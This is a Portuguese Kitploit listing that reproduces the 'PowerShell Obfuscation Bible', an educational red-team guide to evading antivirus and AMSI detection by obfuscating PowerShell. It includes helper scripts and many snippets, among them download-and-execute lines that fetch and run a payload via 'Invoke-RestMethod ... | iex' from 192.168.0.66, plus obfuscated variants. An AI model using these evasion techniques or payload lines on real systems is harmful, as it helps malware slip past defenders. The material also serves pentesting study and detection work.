Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
PowerShell-Obfuscation-Bible — A collection of techniques, examples and a little bit of theory for manually obfuscating PowerShell scripts to achieve AV evasion, compiled for educational purposes. The contents of this repository are the result of personal research, including reading materials online and conducting trial-and-error attempts in labs and pentests. | Kitploit
Ferramentas/GitHubGitHub/t3l3machus/powershell-obfuscation-bible
IDS/IPS EvasionPenetration TestingLearning & EducationRed TeamingCurated ResourcesPayload Development
GitHubt3l3machus/powershell-obfuscation-bible

PowerShell-Obfuscation-Bible

Ver Repositório

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →

Sobre

1.2k139há 2 anosRevisado pelo Kitploit

A collection of techniques, examples and a little bit of theory for manually obfuscating PowerShell scripts to achieve AV evasion, compiled for educational purposes. The contents of this repository are the result of personal research, including reading materials online and conducting trial-and-error attempts in labs and pentests.

Compartilhar

Bíblia de Ofuscação do PowerShell

Python License

Uma coleção de técnicas, exemplos e um pouco de teoria para ofuscar manualmente scripts PowerShell a fim de contornar detecção baseada em assinaturas, compilada para fins educacionais. O conteúdo deste repositório é resultado de pesquisa pessoal, incluindo leitura de materiais online e tentativas de tentativa e erro em laboratórios e testes de penetração. Você não deve tomar nada como garantido.

Apresentação em vídeo no YouTube: youtube.com/watch?v=tGFdmAh_lXE

⚠️ Aviso legal: O uso das técnicas e conceitos descritos neste repositório para obter acesso não autorizado a sistemas que você não tem permissão para testar é ilegal. Você é responsável pelas suas ações. Não seja mau.

Sumário

  1. Entropia
  2. Identificar Gatilhos de Detecção
  3. Renomear Objetos
  4. Ofuscar Valores Booleanos
  5. Interrupção de Cmdlet com Aspas
  6. Interrupção de Cmdlet com Acento Circunflexo
  7. Técnica Get-Command
  8. Substituir Loops
  9. Substituir Comandos
  10. Mexer com Strings
  11. Anexar Lixo
  12. Adicionar ou Remover Comentários
  13. Randomizar Maiúsculas/Minúsculas
  14. Reorganizar Componentes do Script
  15. Executar o Script linha por linha

Entropia

O termo científico entropy, geralmente definido como a medida da aleatoriedade ou desordem de um sistema, é importante na evasão de AV. Isso porque malware frequentemente contém código altamente randomizado, criptografado e/ou codificado (ofuscado) para dificultar a análise e, portanto, a detecção. Como um dos vários métodos, os produtos antivírus usam análise de entropia para identificar arquivos e payloads potencialmente maliciosos.

É importante entender esse conceito porque, ao ofuscar código, você deve ter em mente a variação de entropia criada pelas mudanças que escolher fazer. Quebrar assinaturas é fácil, mas se você não prestar atenção ao nível de entropia, AVs/EDRs sofisticados perceberão.

Um princípio a ter em mente: Quanto maior a entropia, maior a probabilidade de os dados serem ofuscados ou criptografados, e maior a probabilidade de o arquivo/payload ser malicioso. Felizmente, existem maneiras de reduzi-la.

Claude E. Shannon apresentou uma fórmula em seu artigo de 1948 A Mathematical Theory of Communication que pode ser usada para medir a entropia em um conjunto de dados. Aqui está uma implementação simples em Python da Shannon Entropy que você pode usar para medir a entropia dos payloads que desenvolver:

root@kitploit:~
#!/bin/python3
# Usage: python3 entropy.py <file>

import math, sys

def entropy(string):
    "Calculates the Shannon entropy of a UTF-8 encoded string"

    # decode the string as UTF-8
    unicode_string = string.decode('utf-8')

    # get probability of chars in string
    prob = [ float(unicode_string.count(c)) / len(unicode_string) for c in dict.fromkeys(list(unicode_string)) ]

    # calculate the entropy
    entropy = - sum([ p * math.log(p) / math.log(2.0) for p in prob ])

    return entropy


f = open(sys.argv[1], 'rb')
content = f.read()
f.close()

print(entropy(content))

Você também pode usar esta calculadora de entropia de Shannon online ou o Sigcheck.exe da Microsoft com a opção -a.

Identificar Gatilhos de Detecção

A atitude madura e elegante antes de partir para testes de ofuscação por tentativa e erro para criar uma variação de payload que não seja sinalizada é identificar a(s) parte(s) de um script que disparam a detecção de malware. Especialmente em scripts curtos, como comandos de C2, você pode conseguir fazer alterações insignificantes e sair do radar imediatamente.

Uma ótima ferramenta para identificar esses gatilhos é o AMSITrigger. Aqui está um exemplo de uso com um arquivo contendo um script malicioso. A área vermelha indica a parte em que a ofuscação deve ser aplicada:

image

Você também pode identificar gatilhos manualmente executando um script trecho por trecho.

Renomear Objetos

Ao ofuscar scripts, deve ser prioridade substituir nomes de variáveis/classes/funções por nomes aleatórios. Dessa forma, em combinação com outras técnicas, você conseguirá contornar a detecção facilmente. Mas você deve ter em mente a entropia dos payloads que desenvolver. Considere o seguinte script padrão de reverse shell, geralmente detectado pela maioria, senão todos, os AVs:

image

Agora considere a seguinte versão ofuscada:

image

Nesta versão, todos os nomes de variáveis foram substituídos por nomes aleatórios de 32 caracteres. Também substituí (pwd).Path por $(gl). O payload tem uma Shannon entropy de 4.96. No momento em que escrevo isto, ele não é detectado pelo MS Defender e por um monte de outros produtos:

image

Agora considere esta versão:

image

Esta variação também tem todos os nomes de variáveis substituídos, mas desta vez por nomes compostos por um número x de caracteres 'f', o que resulta em uma queda significativa da entropia do payload. Também substituí (pwd).Path por $(gl) aqui. Novamente, no momento em que escrevo, ele não é detectado pelo MS Defender. O payload tem uma Shannon entropy de 0.76.

image

⚡ Ambas as variações contornam AVs comuns, mas a segunda tem uma entropia menor e provavelmente terá mais chances ao ser processada por EDRs e outros mecanismos antimalware sofisticados. ⚠️ Não estou dizendo que o melhor desempenho da segunda variação de payload neste exemplo se deve certamente ao nível de entropia (não posso realmente saber; poderia ter sido o comprimento, ou ambos, ou quem sabe o quê), mas é um aspecto importante a ter em mente ao ofuscar coisas, e este exemplo visa destacar esse conceito.

Você pode usar o script abaixo para randomizar os nomes de variáveis em um script PowerShell. ⚠️ O script não é perfeito! Se você executá-lo em scripts PowerShell grandes e complexos, ele pode quebrar a funcionalidade deles ao substituir coisas que não deveria. Use-o com cautela e atenção.

root@kitploit:~
#!/bin/python3
#
# This script is an example. It is not perfect and you should use it with caution.
# Source: https://github.com/t3l3machus/PowerShell-Obfuscation-Bible
# Usage: python3 randomize-variables.py <path/to/powershell/script>

import re
from sys import argv
from uuid import uuid4

def get_file_content(path):
	f = open(path, 'r')
	content = f.read()
	f.close()
	return content
	

def main():

	payload = get_file_content(argv[1])
	used_var_names = []

	# Identify variables definitions in script
	variable_definitions = re.findall('\$[a-zA-Z0-9_]*[\ ]{0,}=', payload)
	variable_definitions.sort(key=len)
	variable_definitions.reverse()

	# Replace variable names
	for var in variable_definitions:
		
		var = var.strip("\n \r\t=")

		while True:
			
			new_var_name = uuid4().hex
			
			if (new_var_name in used_var_names) or (re.search(new_var_name, payload)):
				continue
				
			else:
				used_var_names.append(new_var_name)
				break	
						
		payload = payload.replace(var, f'${new_var_name}')
	
	print(payload + '\n')

	
main()

Ofuscar Valores Booleanos

É super divertido e fácil substituir valores $True e $False por outros equivalentes booleanos, que são literalmente ilimitados. Especialmente se você identificou o gatilho de detecção em um determinado payload e ele inclui um valor $True ou $False, provavelmente conseguirá contornar a detecção simplesmente substituindo-o por um substituto booleano. Todos os exemplos abaixo avaliam como True. Você pode invertê-los para False simplesmente adicionando um ponto de exclamação antes da expressão (por exemplo, ![bool]0x01):

  • A conversão de tipo booleana (typecast) de literalmente qualquer coisa que não seja 0, Null ou uma string vazia retornará True:
root@kitploit:~
[bool]1254
[bool]0x12AE
[bool][convert]::ToInt32("111011", 2) # Converts a string to int from base 2 (binary)
![bool]$null
![bool]$False
[bool]"Any non empty string"
[bool](https://github.com/t3l3machus/powershell-obfuscation-bible/blob/HEAD/-12354893)   # Boolean typecast of a negative number 
[bool](12 + (3 * 6))
[bool](Get-ChildItem -Path Env: | Where-Object {$_.Name -eq "username"})
[bool]@(0x01BE)
[bool][System.Collections.ArrayList]
[bool][System.Collections.CaseInsensitiveComparer]
[bool][System.Collections.Hashtable]

# Well, you get the point.
  • A conversão de tipo booleana de qualquer classe também retornará True:
root@kitploit:~
[bool][bool]
[bool][char]
[bool][int] 
[bool][string]
[bool][double]
[bool][short]
[bool][decimal]
[bool][byte]
[bool][timespan]
[bool][datetime]
  • O resultado de uma comparação que avalia como True (óbvio):
root@kitploit:~
(9999 -eq 9999)
([math]::Round([math]::PI) -eq (4583 - 4580))
[Math]::E -ne [Math]::PI
  • Ou você pode simplesmente obter um valor True dos atributos de um objeto:
root@kitploit:~
$x = [System.Data.AcceptRejectRule].Assembly.GlobalAssemblyCache
$x = [System.TimeZoneInfo+AdjustmentRule].IsAnsiClass
$x = [mailaddress].IsAutoLayout
$x = [ValidateCount].IsVisible
  • Você pode misturar tudo isso e criar coisas estranhas compondo maneiras horríveis de expressar True ou False:
root@kitploit:~
[bool](https://github.com/t3l3machus/powershell-obfuscation-bible/blob/HEAD/!%5Bbool%5D$null)
[System.Collections.CaseInsensitiveComparer] -ne [bool][datetime]'2023-01-01'
[bool]$(Get-LocalGroupMember Administrators)
!!!![bool][bool][bool][bool][bool][bool]

Interrupção de Cmdlet com Aspas

Você pode ofuscar cmdlets adicionando aspas simples e/ou duplas entre seus caracteres, desde que não seja no início. É super eficaz! Por exemplo, a expressão iex "pwd" pode ser substituída por:

root@kitploit:~
i''ex "pwd"
i''e''x "pwd"
i''e''x'' "pwd"
ie''x'' "pwd"
iex'' "pwd"
i""e''x"" "pwd"
ie""x'' "pwd"

# and so on... but also:

i''ex "p''wd"
i''e''x "p''w''d"
i''e''x'' "p''w''d''"
ie''x'' "pw''d`"`""
iex'' "p`"`"w`"`"d`"`""
i""e''x"" "p`"`"w`"`"d''"
ie""x'' "p`"`"w''d`"`""

# You get the point.

Interrupção de Cmdlet com Acento Circunflexo

Isso é um pouco sujo, mas pode ser útil. Em um terminal Windows CMD, é possível inserir o símbolo de acento circunflexo (^) entre os caracteres de um comando e ele ainda será interpretado normalmente. Em um script PowerShell, uma maneira de utilizar isso seria:

root@kitploit:~
cmd /c "who^am^i"

Untistled

Técnica Get-Command

Um truque muito legal que meu amigo e poderoso haxor Karol Musolff (@kmusolff) me mostrou. Você pode usar Get-Command (ou gcm) para recuperar o nome (string) de qualquer comando, incluindo todos os arquivos não PowerShell na variável de ambiente Path ($env:Path), usando curingas. Você pode então executá-los como jobs com o operador &. Por exemplo, a seguinte linha:

root@kitploit:~
Invoke-RestMethod -uri https://192.168.0.66/malware | iex

Poderia ser ofuscada para:

root@kitploit:~
&(Get-Command i????e-rest*) -uri https://192.168.0.66/malware | &(gcm i*x)

Ou, ainda melhor, esta aqui, que tem um valor de Shannon entropy mais baixo:

root@kitploit:~
&(Get-Command i************************************************************e-rest*) -uri https://192.168.0.66/malware | &(gcm i*x)

Substituir Loops

Existem certos loops que podem ser substituídos por outros tipos de loops ou funções. Por exemplo, um loop While ($True){ # some code } pode ser substituído pelo seguinte:
Um loop For infinito

root@kitploit:~
For (;;) { # some code }

Um loop Do-While

root@kitploit:~
Do { # some code } While ($true)

Um loop Do-Until

root@kitploit:~
Do { # some code } Until (1 -eq 2)

Uma função recursiva

root@kitploit:~
function runToInfinity { 
 # do something;  
 runToInfinity;
}

Anexar Lixo

Adicionar/Remover parâmetros

Você pode tentar adicionar parâmetros a um cmdlet. Por exemplo, a seguinte linha:

root@kitploit:~
iex "whoami"

Poderia ser expandida para:

root@kitploit:~
iex -Debug -Verbose -ErrorVariable $e -InformationAction Ignore -WarningAction Inquire "whoami"

Você pode, é claro, tentar o oposto.

Anexar objetos aleatórios

Você pode "poluir" um script com variáveis e funções aleatórias. Considere o seguinte script como malicioso:

root@kitploit:~
$b64 = $(irm -uri http://192.168.0.66/malware); 
$virus = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($b64));
iex $virus;

Você pode conseguir quebrar a assinatura dele fazendo algo como:

root@kitploit:~
$b64 = $(irm -uri http://192.168.0.66/malware); sleep 0.01;sleep 0.01;Get-Process | Out-Null;
$virus = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($b64));sleep 0.01;sleep 0.01;Measure-Object | Out-Null;
iex $virus;

Substituir Comandos

Você pode sempre procurar comandos ou até blocos de código inteiros em um script que possam ser substituídos por componentes com a mesma funcionalidade ou similar. No seguinte script clássico de reverse shell, o comando pwd é usado para recuperar o diretório de trabalho atual e reconstruir o valor do prompt do shell:
image

A parte (pwd).Path pode ser substituída pelo seguinte pequeno script estranho e nada ortodoxo e, embora ele até inclua pwd, serve ao nosso propósito de quebrar a assinatura mantendo a funcionalidade do script:

root@kitploit:~
"$($p = (Split-Path `"$(pwd)\\0x00\`");if ($p.trim() -eq ''){echo 'C:\'}else{echo $p})"

Existem, é claro, substitutos mais simples para pwd, como gl, get-location e cmd.exe /c chdir, que podem resolver, especialmente em combinação com outras técnicas.

Mexer com Strings

Não há limites para o que se pode fazer com strings. Veja abaixo alguns conceitos interessantes. Os exemplos usam a string 'malware':

Converter string em here-string

Ao custo de adicionar algumas linhas novas, você pode transformar uma string em uma here-string.
Isto:

root@kitploit:~
$x = 'echo malware';
iex $x;

É o mesmo que:

root@kitploit:~
$x = 'echo malware';
iex @"
$x
"@

Inverter Strings

root@kitploit:~
$x="Your string reversed".ToCharArray(); [array]::reverse($x); $x -join ""

Concatenação

Bem direto ao ponto e clássico:

root@kitploit:~
'mal' + 'w' + 'ar' + 'e'

Obter string de substring:

Adicione o valor desejado entre uma string irrelevante e use substring() para extraí-lo com base nos índices inicial e final:

root@kitploit:~
'xxxmalwarexxx'.Substring(3,7)

Substituir string por correspondência regex:

Crie uma string lixo e substitua-a pelo valor desejado por meio de correspondência regex:

root@kitploit:~
'a123' -replace '[a-zA-Z]{1}[\d]{1,3}','malware'

Decodificar a string desejada em Base64:

Codifique sua string e decodifique-a dentro do script:

root@kitploit:~
[System.Text.Encoding]:https://raw.githubusercontent.com/t3l3machus/powershell-obfuscation-bible/HEAD/:Default.GetString(%5BSystem.Convert%5D::FromBase64String(%22bWFsd2FyZQ==%22))

Obter os caracteres da string desejada a partir de bytes:

root@kitploit:~
"$([char](https://github.com/t3l3machus/powershell-obfuscation-bible/blob/HEAD/%5Bbyte%5D0x6d)+[char](https://github.com/t3l3machus/powershell-obfuscation-bible/blob/HEAD/%5Bbyte%5D0x61)+[char](https://github.com/t3l3machus/powershell-obfuscation-bible/blob/HEAD/%5Bbyte%5D0x6c)+[char](https://github.com/t3l3machus/powershell-obfuscation-bible/blob/HEAD/%5Bbyte%5D0x77)+[char](https://github.com/t3l3machus/powershell-obfuscation-bible/blob/HEAD/%5Bbyte%5D0x61)+[char](https://github.com/t3l3machus/powershell-obfuscation-bible/blob/HEAD/%5Bbyte%5D0x72)+[char](https://github.com/t3l3machus/powershell-obfuscation-bible/blob/HEAD/%5Bbyte%5D0x65))"

Isso é só para começar. Continua...

Adicionar ou Remover Comentários

Anexando Comentários

Ofuscar um script anexando comentários aqui e ali pode, na verdade, resolver sozinho.
por exemplo, um comando de reverse shell poderia ser ofuscado assim:

Original (Comando r-shell comum que é facilmente detectado por AVs)

image

Modificado (anexado <# Suspendisse imperdiet lacus eu tellus pellentesque suscipit #> em vários lugares)

image

Isso não só funcionará, como também reduzirá o valor de Shannon entropy do payload (desde que você não use comentários aleatórios complexos).

Removendo Comentários

Existem strings com cara de malware que disparam o AMSI imediatamente e deve ser prioridade substituí-las ao ofuscar scripts. Veja isto:
image

Apenas digitar a string 'invoke-mimikatz' no terminal faz o AMSI ter um treco (o script nem está presente/carregado). Essas strings também podem ser encontradas em comentários, então é uma boa ideia removê-las, especialmente de recursos FOS que você pega da internet (por exemplo, Invoke-Mimikatz.ps1 do GitHub).

*Geralmente é uma boa ideia remover comentários. Isso foi apenas um exemplo.

Randomizar Maiúsculas/Minúsculas

Provavelmente o truque mais antigo do livro. Randomizar maiúsculas e minúsculas de cmdlets e parâmetros pode ajudar:

root@kitploit:~
inVOkE-eXpReSSioN -vErbOse "WHoAmI /aLL" -dEBug

Reorganizar Componentes do Script

Às vezes, simplesmente mover variáveis e classes para locais diferentes pode funcionar, especialmente se você encontrou o gatilho de detecção e ele inclui alguma definição de variável que poderia estar ocorrendo em outro lugar, como no início do script.

Executar o Script Linha por Linha

Às vezes, é possível obter evasão de AV simplesmente executando um script malicioso linha por linha. Isso pode, é claro, ser desafiador de realizar dadas as circunstâncias. Caso tente, esteja ciente de blocos de script que precisam ser executados como um todo (por exemplo, loops, blocos try-catch, declarações condicionais, definições de função etc). Para testar isso, você pode pegar um script comum de reverse shell do PowerShell (sem ofuscação aplicada) e executá-lo linha por linha. Ele é sinalizado? ;)

Baixar ferramenta